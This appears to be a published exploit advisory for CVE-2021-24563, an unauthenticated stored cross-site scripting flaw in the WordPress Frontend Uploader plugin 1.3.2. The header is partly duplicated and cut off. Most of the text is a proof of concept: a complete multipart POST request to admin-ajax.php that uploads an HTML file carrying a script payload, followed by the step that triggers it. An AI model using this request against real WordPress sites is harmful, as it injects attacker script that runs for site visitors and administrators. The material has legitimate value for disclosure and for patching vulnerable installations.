Vulnerabilities

WordPress Frontend Uploader 1.3.2 Cross Site Scripting

# Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)
# Date: 10/01/2022
# Exploit Author: Veshraj Ghimire
# Vendor Homepage: h # Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)
# Date: 10/01/2022
# Exploit Author: Veshraj Ghimire
# Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/
# Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/
# Version: 1.3.2
# Tested on: Windows 10 - Chrome, WordPress 5.8.2
# CVE : CVE-2021-24563

# References:

https://www.youtube.com/watch?v=lfrLoHl4-Zs
https://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1

# Description:

The plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly


# Proof Of Concept:


POST /wp-admin/admin-ajax.php HTTP/1.1

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;
boundary=---------------------------124662954015823207281179831654

Content-Length: 1396

Connection: close

Upgrade-Insecure-Requests: 1


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Content-Disposition: form-data; name="post_ID"


1247

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Content-Disposition: form-data; name="post_title"


test

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Content-Disposition: form-data; name="post_content"


test

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Content-Disposition: form-data; name="files[]"; filename="xss.html"

Content-Type: text/html


<script>alert(/XSS/)</script>

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Content-Disposition: form-data; name="action"


upload_ugc

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Content-Disposition: form-data; name="form_layout"


image

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Content-Disposition: form-data; name="fu_nonce"


021fb612f9

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Content-Disposition: form-data; name="_wp_http_referer"


/wordpress/frontend-uploader-form/

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Content-Disposition: form-data; name="ff"


92b6cbfa6120e13ff1654e28cef2a271

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Content-Disposition: form-data; name="form_post_id"


1247

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Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html

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